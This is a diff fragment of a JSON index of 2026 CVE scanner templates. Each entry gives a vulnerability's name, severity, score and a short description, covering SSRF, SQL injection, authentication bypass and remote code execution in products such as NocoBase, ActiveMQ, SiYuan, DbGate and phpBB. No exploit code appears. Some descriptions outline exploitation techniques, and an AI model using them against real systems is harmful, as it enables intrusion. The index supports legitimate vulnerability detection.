 {"ID":"CVE-2026-33534","Info":{"Name":"EspoCRM \u003c= 9.3.3 - Server-Side Request Forgery","Severity":"medium","Description":"EspoCRM \u003c= 9.3.3 contains an authenticated server-side request forgery caused by improper internal-host validation using alternative IPv4 formats in HostCheck::isNotInternalHost(), letting authenticated users access internal resources via /api/v1/Attachment/fromImageUrl endpoint.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2026/CVE-2026-33534.yaml"}
 {"ID":"CVE-2026-33626","Info":{"Name":"LMDeploy - Server-Side Request Forgery","Severity":"high","Description":"LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in the vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal or private IP addresses, allowing unauthenticated attackers to access cloud metadata services, internal networks, and sensitive resources via the image_url parameter in /v1/chat/completions requests.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-33626.yaml"}
@@ -3995,6 +4016,7 @@
 {"ID":"CVE-2026-3396","Info":{"Name":"WCAPF WooCommerce Ajax Product Filter - SQL Injection","Severity":"high","Description":"WCAPF WooCommerce Ajax Product Filter \u003c= 4.2.3 contains a time-based SQL injection caused by insufficient escaping of the 'post-author' parameter, letting unauthenticated attackers extract sensitive database information remotely.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-3396.yaml"}
 {"ID":"CVE-2026-34156","Info":{"Name":"NocoBase - VM Sandbox Escape to Remote Code Execution","Severity":"critical","Description":"NocoBase Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist controlled by WORKFLOW_SCRIPT_MODULES env var. The console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain (console._stdout.constructor.constructor to Function to process to child_process) to escape the sandbox and achieve Remote Code Execution as root.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-34156.yaml"}
 {"ID":"CVE-2026-34197","Info":{"Name":"Apache ActiveMQ - Remote Code Execution","Severity":"critical","Description":"Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String). An authenticated attacker can invoke these operations with a crafted discovery URI that triggers the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec(). This issue affects Apache ActiveMQ Broker: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ: . Users are recommended to upgrade to version 5.19.5 or 6.2.3, which fixes the issue.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2026/CVE-2026-34197.yaml"}
+{"ID":"CVE-2026-34413","Info":{"Name":"Xerte Online Toolkits \u003c= 3.15 - Remote Code Execution","Severity":"critical","Description":"Xerte Online Toolkits versions 3.15 and earlier expose the elFinder file manager connector at /editor/elfinder/php/connector.php without authentication (CVE-2026-34413), because the access-control redirect for unauthenticated users does not call exit()/die() and execution continues server-side. This is chained with a relative path traversal in the elFinder rename command (CVE-2026-34414) and an incomplete file-extension blocklist that still permits .php4 (CVE-2026-34415) to write an attacker-controlled PHP file into the application root, resulting in unauthenticated remote code execution.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-34413.yaml"}
 {"ID":"CVE-2026-34453","Info":{"Name":"SiYuan \u003c= v3.6.1 - Bookmark Data Disclosure","Severity":"high","Description":"SiYuan v3.6.2 contains an information disclosure vulnerability caused by improper authorization checks in the publish service's bookmark filtering, letting unauthenticated visitors access bookmarked blocks from password-protected documents, exploit requires access to the publish service.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-34453.yaml"}
 {"ID":"CVE-2026-34486","Info":{"Name":"Apache Tomcat Tribes EncryptInterceptor Bypass - Remote Code Execution","Severity":"critical","Description":"Missing Encryption of Sensitive Data vulnerability in Apache Tomcat due to the fix for CVE-2026-29146 allowing the bypass of the EncryptInterceptor. This issue affects Apache Tomcat: 11.0.20, 10.1.53, 9.0.116.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-34486.yaml"}
 {"ID":"CVE-2026-34605","Info":{"Name":"SiYuan Note - Cross-Site Scripting","Severity":"medium","Description":"SiYuan Note through version 3.6.1 is vulnerable to unauthenticated reflected Cross-Site Scripting (XSS) in the `/api/icon/getDynamicIcon` endpoint due to improper filtering of SVG elements with a namespace prefix (such as `\u003cx:script\u003e`). By using a namespaced script element, attackers can bypass the `SanitizeSVG` function and execute arbitrary JavaScript in the victim’s browser upon visiting a crafted link.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-34605.yaml"}
@@ -4002,6 +4024,7 @@
 {"ID":"CVE-2026-34885","Info":{"Name":"WordPress Media Library Assistant \u003c= 3.34 - SQL Injection","Severity":"high","Description":"David Lingren Media Library Assistant \u003c= 3.34 contains an sql injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.\n","Classification":{"CVSSScore":"8.5"}},"file_path":"http/cves/2026/CVE-2026-34885.yaml"}
 {"ID":"CVE-2026-34910","Info":{"Name":"UniFi OS Server - Command Injection","Severity":"critical","Description":"A malicious actor with access to the network could exploit an Improper Input Validation vulnerability found in UniFi OS devices to execute a Command Injection.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-34910.yaml"}
 {"ID":"CVE-2026-35029","Info":{"Name":"LiteLLM - Arbitrary File Read","Severity":"high","Description":"LiteLLM \u003c 1.83.0 contains a broken access control vulnerability caused by lack of admin role enforcement on /config/update endpoint, letting authenticated users modify configurations, execute code, read files, and take over accounts.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2026/CVE-2026-35029.yaml"}
+{"ID":"CVE-2026-35273","Info":{"Name":"Oracle PeopleSoft PeopleTools PSEMHUB - Pre-Auth Java Deserialization RCE","Severity":"critical","Description":"Oracle PeopleSoft PeopleTools 8.61 and 8.62 contain a remote code execution vulnerability in Updates Environment Management, letting unauthenticated network attackers fully compromise the system, exploit requires network access via HTTP.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-35273.yaml"}
 {"ID":"CVE-2026-35616","Info":{"Name":"FortiClient EMS - Authentication Bypass","Severity":"high","Description":"Detects whether Fortinet hotfix FG-IR-26-099 for CVE-2026-35616 is missing by comparing behavioral responses from a certificate-authenticated endpoint. The template sends X-SSL-CLIENT-VERIFY: SUCCESS without certificate material and checks whether this spoofed header changes server behavior.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-35616.yaml"}
 {"ID":"CVE-2026-3584","Info":{"Name":"WordPress Kali Forms \u003c= 2.4.9 - Remote Code Execution","Severity":"critical","Description":"Kali Forms WordPress plugin \u003c= 2.4.9 contains a remote code execution caused by unsafe user input handling in 'form_process' and 'prepare_post_data' functions, letting unauthenticated attackers execute code on the server, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-3584.yaml"}
 {"ID":"CVE-2026-38360","Info":{"Name":"dash-uploader 0.1.0 - 0.7.0a2 - Unauthenticated Arbitrary File Write via Path Traversal","Severity":"critical","Description":"fohrloop dash-uploader v0.1.0 through v0.7.0a2 contains a directory traversal vulnerability caused by improper handling in dash_uploader/httprequesthandler.py components, letting remote attackers execute arbitrary code, exploit requires no special privileges.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-38360.yaml"}
@@ -4013,6 +4036,7 @@
 {"ID":"CVE-2026-39365","Info":{"Name":"Vite Dev Server - Path Traversal in Optimized Deps .map Handling","Severity":"medium","Description":"Vite development server versions prior to 8.0.5, 7.3.2, and 6.4.2 are vulnerable to path traversal through the optimized dependencies sourcemap handler. The dev server's handling of .map requests for optimized dependencies resolves file paths via normalizePath(path.resolve(root, url.slice(1))) and calls readFile without restricting ../ segments in the URL. This allows an attacker to bypass server.fs.strict and retrieve auto-generated sourcemaps for files located outside the project root, leaking absolute filesystem paths. Only dev servers explicitly exposed to the network using --host or server.host are affected.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-39365.yaml"}
 {"ID":"CVE-2026-39808","Info":{"Name":"Fortinet FortiSandbox - Command Injection","Severity":"critical","Description":"Fortinet FortiSandbox 4.4.0 through 4.4.8 contains a command injection caused by improper neutralization of special elements in OS commands, letting attackers execute unauthorized code or commands, exploit requires crafted input.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-39808.yaml"}
 {"ID":"CVE-2026-40105","Info":{"Name":"XWiki - Cross-Site Scripting","Severity":"medium","Description":"XWiki is vulnerable to reflected Cross-Site Scripting (XSS) via the `viewer=changes` endpoint. The `rev2` parameter is not properly sanitised before being rendered in the response, allowing an attacker to inject arbitrary JavaScript. Affects XWiki versions prior to the patched release.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-40105.yaml"}
+{"ID":"CVE-2026-40151","Info":{"Name":"PraisonAI AgentOS - Information Disclosure","Severity":"medium","Description":"PraisonAI's AgentOS FastAPI application server exposes an unauthenticated `GET /api/agents` endpoint that lists every registered agent's name, role and the opening of its instructions (system prompt). No authentication is enforced on the route, allowing a remote attacker to enumerate agent configurations and harvest sensitive details embedded in system prompts, such as internal API references, business logic and credential hints. This endpoint belongs to the AgentOS FastAPI server and is distinct from the legacy Flask `/agents` server tracked as CVE-2026-44338.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-40151.yaml"}
 {"ID":"CVE-2026-4020","Info":{"Name":"Gravity SMTP WordPress Plugin - Sensitive Information Exposure","Severity":"high","Description":"Gravity SMTP WordPress plugin \u003c= 2.1.4 contains a sensitive information exposure caused by an unrestricted REST API endpoint at /wp-json/gravitysmtp/v1/tests/mock-data, letting unauthenticated attackers retrieve detailed system configuration data, exploit requires no authentication.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-4020.yaml"}
 {"ID":"CVE-2026-40242","Info":{"Name":"Arcane \u003c= 1.17.2 - Server-Side Request Forgery","Severity":"high","Description":"Arcane \u003c= 1.17.3 contains an unauthenticated server-side request forgery caused by lack of URL scheme and host validation in /api/templates/fetch endpoint, letting remote attackers perform SSRF, exploit requires no authentication.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2026/CVE-2026-40242.yaml"}
 {"ID":"CVE-2026-40308","Info":{"Name":"My Calendar WordPress Plugin - Information Disclosure","Severity":"high","Description":"My Calendar WordPress plugin \u003c= 3.7.6 contains an injection vulnerability caused by unvalidated user input passed to parse_str() in mc_ajax_mcjs_action endpoint, letting unauthenticated attackers access or crash sites via switch_to_blog(), exploit requires WordPress Multisite or Single Site setup.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-40308.yaml"}
@@ -4022,6 +4046,7 @@
 {"ID":"CVE-2026-4106","Info":{"Name":"HT Mega \u003c 3.0.7 - Sensitive Information Disclosure","Severity":"high","Description":"The HT Mega plugin for WordPress is vulnerable to Sensitive Information Exposure via AJAX actions. This template dynamically extracts the security nonce before exploitation.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-4106.yaml"}
 {"ID":"CVE-2026-41176","Info":{"Name":"Rclone RC - Broken Access Control","Severity":"critical","Description":"Rclone \u003e= 1.45.0 and \u003c 1.73.5 contains a broken access control vulnerability caused by unauthenticated access to the RC endpoint `options/set` allowing mutation of global runtime configuration, letting unauthenticated attackers access sensitive administrative functions, exploit requires RC server started without global HTTP authentication.\n","Classification":{"CVSSScore":"9.2"}},"file_path":"http/cves/2026/CVE-2026-41176.yaml"}
 {"ID":"CVE-2026-41179","Info":{"Name":"RClone RC - Command Injection","Severity":"critical","Description":"Rclone \u003e= 1.48.0 and \u003c 1.73.5 contains an unauthenticated local command execution caused by unauthenticated access to the RC endpoint operations/fsinfo with attacker-controlled fs input, letting unauthenticated attackers execute local commands, exploit requires reachable RC deployment without global HTTP authentication.\n","Classification":{"CVSSScore":"9.2"}},"file_path":"http/cves/2026/CVE-2026-41179.yaml"}
+{"ID":"CVE-2026-41492","Info":{"Name":"Dgraph \u003c= 25.3.2 - Admin Token Disclosure","Severity":"critical","Description":"Dgraph \u003c= 25.3.2 contains an information disclosure caused by unauthenticated access to the /debug/vars endpoint , which publishes  the cmdline variable including the --security token= flag, letting unauthenticated remote attackers retrieve the admin token and access admin-only endpoints, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-41492.yaml"}
 {"ID":"CVE-2026-41640","Info":{"Name":"NocoBase - SQL Injection","Severity":"high","Description":"NocoBase versions prior to 2.0.39 contain a SQL injection vulnerability in the @nocobase/database package. The queryParentSQL function in eager-loading-tree.ts constructs a recursive CTE query by directly concatenating user-controlled primary key values into the SQL WHERE IN clause without parameterization. An authenticated attacker with record creation permissions on a tree collection with string-type primary keys can inject arbitrary SQL via crafted record identifiers, enabling full database compromise including data exfiltration and modification.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-41640.yaml"}
 {"ID":"CVE-2026-41641","Info":{"Name":"NocoBase - SQL Injection","Severity":"high","Description":"NocoBase @nocobase/plugin-collection-sql versions prior to 2.0.39 are vulnerable to SQL injection via the sqlCollection:update endpoint. The checkSQL() function, which blocks dangerous SQL keywords and ensures only SELECT statements are allowed, is not called during collection updates.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2026/CVE-2026-41641.yaml"}
 {"ID":"CVE-2026-41940","Info":{"Name":"cPanel \u0026 WHM - Authentication Bypass via Session-File CRLF Injection","Severity":"critical","Description":"cPanel and WHM versions prior to 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, and 11.136.0.5 contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain unauthorized access to the control panel.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-41940.yaml"}
@@ -4038,25 +4063,48 @@
 {"ID":"CVE-2026-45298","Info":{"Name":"Dozzle - Server Side Request Forgery","Severity":"high","Description":"Dozzle prior to 10.5.2 contains a server-side request forgery caused by unauthenticated access to POST /api/notifications/test-webhook forwarding attacker-controlled URLs, letting remote attackers send arbitrary HTTP POST requests and receive response data, exploit requires no authentication.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2026/CVE-2026-45298.yaml"}
 {"ID":"CVE-2026-45397","Info":{"Name":"Open WebUI \u003c 0.9.5 - Information Disclosure","Severity":"medium","Description":"Open WebUI \u003c 0.9.5 contains an information disclosure vulnerability caused by unauthenticated access to GET /api/v1/retrieval/ endpoint, letting remote attackers retrieve live RAG pipeline configuration without authorization, exploit requires no authentication.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-45397.yaml"}
 {"ID":"CVE-2026-4631","Info":{"Name":"Cockpit Web Console \u003c 360 - Remote Code Execution","Severity":"critical","Description":"Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-4631.yaml"}
+{"ID":"CVE-2026-46364","Info":{"Name":"phpMyFAQ \u003c= 4.1.1 - SQL Injection","Severity":"critical","Description":"phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate unsanitized User-Agent headers into DELETE and INSERT queries. Unauthenticated attackers can exploit the public GET /api/captcha endpoint by crafting malicious User-Agent headers to perform time-based blind SQL injection, extracting sensitive data including user credentials, admin tokens, and SMTP credentials from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-46364.yaml"}
 {"ID":"CVE-2026-46372","Info":{"Name":"SillyTavern - Server-Side Request Forgery","Severity":"high","Description":"SillyTavern versions up to and including 1.17.0 expose the /api/search/searxng endpoint, which accepts an attacker-controlled baseUrl parameter and uses it directly to build outbound server-side fetch requests. An authenticated low-privilege user can point baseUrl at an internal or loopback HTTP service and receive the full response body, enabling read access to internal services, cloud metadata endpoints, and private network resources.\n","Classification":{"CVSSScore":"8.5"}},"file_path":"http/cves/2026/CVE-2026-46372.yaml"}
 {"ID":"CVE-2026-46670","Info":{"Name":"YesWiki \u003c 4.6.4 - Unauthenticated SQL Injection","Severity":"critical","Description":"YesWiki before version 4.6.4 contains an unauthenticated SQL injection vulnerability in the Bazar form-import path. The bn_id_nature parameter in FormManager::create() is concatenated into an INSERT statement without sanitization, allowing unauthenticated attackers to inject arbitrary SQL and read the full database including password hashes.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-46670.yaml"}
 {"ID":"CVE-2026-46725","Info":{"Name":"TYPO3 ceselector Extension - Insecure Deserialization","Severity":"critical","Description":"TYPO3 extension contains a PHP Object Injection caused by passing attacker-controlled cookie to unserialize() without validation, letting remote unauthenticated attackers achieve remote code execution, exploit requires Persistent Mode: Static configuration.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-46725.yaml"}
 {"ID":"CVE-2026-47668","Info":{"Name":"DbGate - Remote Code Execution via Anonymous JWT","Severity":"critical","Description":"DbGate contains a remote code execution vulnerability exploitable by unauthenticated attackers. The /auth/login endpoint issues anonymous JWT tokens without credentials, and the /runners/start endpoint accepts JavaScript payloads that execute via Node.js child_process, allowing arbitrary command execution on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-47668.yaml"}
+{"ID":"CVE-2026-47670","Info":{"Name":"DbGate - Remote Code Execution via Dynamic Import Bypass","Severity":"critical","Description":"DbGate versions \u003c= 7.1.8 are vulnerable to authenticated remote code execution via the POST /runners/load-reader endpoint. The functionName parameter is directly interpolated into a JavaScript code template without sanitization. The require=null mitigation is bypassed via dynamic import().\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2026/CVE-2026-47670.yaml"}
+{"ID":"CVE-2026-47717","Info":{"Name":"FUXA 1.3.0 - Unauthenticated ICS/SCADA Project Data Disclosure","Severity":"high","Description":"FUXA v1.3.0 exposes full SCADA/HMI project configuration via GET /api/project without authentication, even when secureEnabled is true. The secureFnc middleware auto-generates\na valid guest JWT when no token is provided, bypassing authentication. Exposed data includes server-side scripts, device configs, HMI views, and alarm definitions.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-47717.yaml"}
 {"ID":"CVE-2026-4810","Info":{"Name":"Google ADK-Python - Unauthenticated Builder Endpoint","Severity":"critical","Description":"Google Agent Development Kit (ADK) 1.7.0 through 1.28.1 and 2.0.0a1 through 2.0.0a2 on Python (OSS), Cloud Run, and GKE contains a code injection and missing authentication vulnerability, letting unauthenticated remote attackers execute arbitrary code on the server, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2026/CVE-2026-4810.yaml"}
+{"ID":"CVE-2026-48282","Info":{"Name":"Adobe ColdFusion - RDS Arbitrary File Write","Severity":"critical","Description":"ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary code execution in the context of the current user. The RDS FILEIO WRITE operation allows unauthenticated attackers to write arbitrary files when RDS is enabled with authentication disabled. Exploitation of this issue does not require user interaction. Scope is changed.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-48282.yaml"}
+{"ID":"CVE-2026-48313","Info":{"Name":"ColdFusion - Path Traversal","Severity":"high","Description":"ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary file system read and limited write access. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue does not require user interaction. Scope is changed.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-48313.yaml"}
+{"ID":"CVE-2026-48611","Info":{"Name":"phpBB \u003c 3.3.17 - Authentication Bypass","Severity":"critical","Description":"phpBB before 3.3.17 contains an authentication bypass vulnerability in the login-link feature. By setting the auth_provider query parameter to \"apache\", an unauthenticated attacker can bypass password verification and log in as any user, including administrators. The Apache auth provider trusts the Basic authentication header username without password verification, as it assumes Apache handles authentication upstream.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-48611.yaml"}
 {"ID":"CVE-2026-48710","Info":{"Name":"Starlette - Improper Validation of Unsafe Equivalence in Input","Severity":"critical","Description":"A flaw was found in Starlette, a lightweight ASGI (Asynchronous Server Gateway Interface) framework. A remote attacker could exploit this vulnerability by sending a specially crafted HTTP Host request header. This malformed header could cause the request.url to be incorrectly reconstructed, leading to a discrepancy with the actual requested path. Consequently, security restrictions enforced by middleware and endpoints that rely on request.url for validation could be bypassed, potentially allowing unauthorized access or actions.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2026/CVE-2026-48710.yaml"}
+{"ID":"CVE-2026-48907","Info":{"Name":"Joomla! JCE extension \u003c 2.9.99.5 unauthenticated RCE","Severity":"critical","Description":"Joomla JCE editor extension contains an unrestricted file upload vulnerability caused by allowing unauthenticated users to create new editor profiles, letting attackers upload and execute PHP code remotely, exploit requires no authentication.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-48907.yaml"}
+{"ID":"CVE-2026-49777","Info":{"Name":"WordPress Product Slider Pro for WooCommerce \u003c 3.5.4 - Supply Chain Backdoor RCE","Severity":"critical","Description":"Improper Validation of Specified Quantity in Input vulnerability in ShapedPlugin, LLC Product Slider Pro for WooCommerce allows Malicious Software Implanted. This issue affects Product Slider Pro for WooCommerce: from n/a before 3.5.4.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-49777.yaml"}
+{"ID":"CVE-2026-50230","Info":{"Name":"Lyrion Music Server \u003c= 9.2.0 - Cross-Site Scripting","Severity":"medium","Description":"Lyrion Music Server 9.2.0 contains a reflected XSS caused by improper sanitization of the search parameter in the server.log endpoint, letting unauthenticated attackers execute arbitrary script in users' browsers.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-50230.yaml"}
 {"ID":"CVE-2026-5027","Info":{"Name":"Langflow \u003c= 1.8.4 - Path Traversal to RCE via File Upload","Severity":"high","Description":"The application contains a path traversal vulnerability caused by unsanitized 'filename' parameter in the 'POST /api/v2/files' multipart form data, letting attackers write files to arbitrary filesystem locations, exploit requires crafted request.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2026/CVE-2026-5027.yaml"}
 {"ID":"CVE-2026-5073","Info":{"Name":"WordPress ARMember Premium \u003c= 7.3.1 - Unauthenticated SQL Injection","Severity":"critical","Description":"The ARMember Premium plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter of the 'arm_directory_paging_action' AJAX action in all versions up to, and including, 7.3.1. This is due to insufficient escaping on the user-supplied 'order' and 'orderby' parameters and the lack of sufficient preparation on the existing SQL query in the `arm_get_directory_members()` function.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-5073.yaml"}
+{"ID":"CVE-2026-50751","Info":{"Name":"Check Point IKEv1 Remote-Access VPN - Certificate Authentication Bypass","Severity":"critical","Description":"IKEv1 key exchange contains a broken authentication caused by logic flow weakness in Remote Access and Mobile Access certificate validation, letting unauthenticated remote attackers bypass user authentication and establish VPN connections without valid passwords, exploit requires use of deprecated IKEv1.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-50751.yaml"}
+{"ID":"CVE-2026-52815","Info":{"Name":"Gogs \u003c 0.14.3 - Unauthenticated Organization Teams Disclosure","Severity":"low","Description":"Gogs before version 0.14.3 contains an unauthenticated information disclosure vulnerability. The GET /api/v1/orgs/:orgname/teams endpoint returns all teams for any organization without requiring authentication. The route group lacks the reqToken() middleware, exposing team IDs, names, descriptions, and permission levels to any unauthenticated caller.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2026/CVE-2026-52815.yaml"}
+{"ID":"CVE-2026-53787","Info":{"Name":"Magento 2 Amasty Order Attributes \u003c 4.0.0 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"Amasty Order Attributes for Magento 2 \u003c 4.0.0 contains an unrestricted file upload vulnerability caused by lack of authentication and validation in the upload endpoint, letting unauthenticated attackers upload arbitrary files including PHP, enabling remote code execution or malware hosting.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-53787.yaml"}
+{"ID":"CVE-2026-54066","Info":{"Name":"SiYuan \u003c= 3.6.5 - Unauthenticated Path Traversal","Severity":"high","Description":"SiYuan \u003c= 3.6.5 contains a path traversal via double URL-encoding in the /assets/ route (publish mode port 6808), allowing unauthenticated attackers to read arbitrary files inside WorkspaceDir including conf/conf.json which exposes the API token and access auth code.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-54066.yaml"}
+{"ID":"CVE-2026-54069","Info":{"Name":"SiYuan Note \u003c= 3.6.5 - Authentication Bypass","Severity":"high","Description":"SiYuan Note 3.6.5 and prior is vulnerable to authentication bypass. The CheckAuth middleware unconditionally trusted all chrome-extension:// origins, granting RoleAdministrator access without token validation to any request with a spoofed Origin header. Fixed in v3.7.0.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-54069.yaml"}
+{"ID":"CVE-2026-54157","Info":{"Name":"LobeHub LobeChat \u003c= 2.1.56 - Server-Side Request Forgery","Severity":"medium","Description":"LobeHub LobeChat versions up to and including 2.1.56 are vulnerable to an unauthenticated server-side request forgery vulnerability in the /webapi/proxy endpoint. The endpoint accepts a URL in the POST request body and fetches it server-side without authentication.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-54157.yaml"}
+{"ID":"CVE-2026-54236","Info":{"Name":"vLLM \u003c= 0.23.0 - Anthropic Router Heap Address Information Leak","Severity":"medium","Description":"vLLM \u003c= 0.23.0 incompletely fixes CVE-2026-22778. The original fix added sanitize_message to the OpenAI router but the Anthropic-compatible router (/v1/messages) echoes str(exc) directly.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-54236.yaml"}
+{"ID":"CVE-2026-55592","Info":{"Name":"Dashy \u003c= 4.3.6 - Reflected XSS via Workspace","Severity":"medium","Description":"Dashy versions up to 4.3.6 contain a reflected cross-site scripting vulnerability in the workspace view. The url query parameter is passed directly to an iframe src attribute without scheme validation, allowing an attacker to inject javascript: URIs that execute arbitrary JavaScript in the context of the Dashy origin.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-55592.yaml"}
 {"ID":"CVE-2026-5615","Info":{"Name":"VvvebJs \u003c= 2.0.5 - Cross-Site Scripting","Severity":"medium","Description":"Givanz Vvvebjs \u003c= 2.0.5 contains a stored XSS caused by manipulation of the \"uploadAllowExtensions\" argument in upload.php File Upload Endpoint, letting remote attackers execute scripts, exploit requires crafted input.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2026/CVE-2026-5615.yaml"}
+{"ID":"CVE-2026-56782","Info":{"Name":"Gorse \u003c 0.5.10 - Unauthenticated Database Dump","Severity":"critical","Description":"Gorse \u003c 0.5.10 contains an authentication bypass caused by empty admin_api_key in /api/dump and /api/restore endpoints, letting unauthenticated remote attackers access and modify protected data, exploit requires default empty admin_api_key configuration.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-56782.yaml"}
 {"ID":"CVE-2026-5718","Info":{"Name":"Drag and Drop Multiple File Upload - CF7 \u003c= 1.3.9.6 - Remote Code Execution","Severity":"critical","Description":"Drag and Drop Multiple File Upload for Contact Form 7 WordPress plugin \u003c= 1.3.9.6 contains an unrestricted file upload caused by insufficient file type validation and bypass of filename sanitization with non-ASCII characters, letting unauthenticated attackers upload arbitrary files and achieve remote code execution.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-5718.yaml"}
 {"ID":"CVE-2026-6118","Info":{"Name":"AstrBot \u003c= 4.22.1 - Command Injection","Severity":"high","Description":"AstrBot versions up to and including 4.22.1 contain a command injection vulnerability in the MCP server configuration endpoint. The /api/tools/mcp/add endpoint accepts arbitrary command and args fields that are passed directly to subprocess execution during the connection test, without any validation or allowlist enforcement. An attacker with dashboard access can execute arbitrary system commands with AstrBot process privileges.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2026/CVE-2026-6118.yaml"}
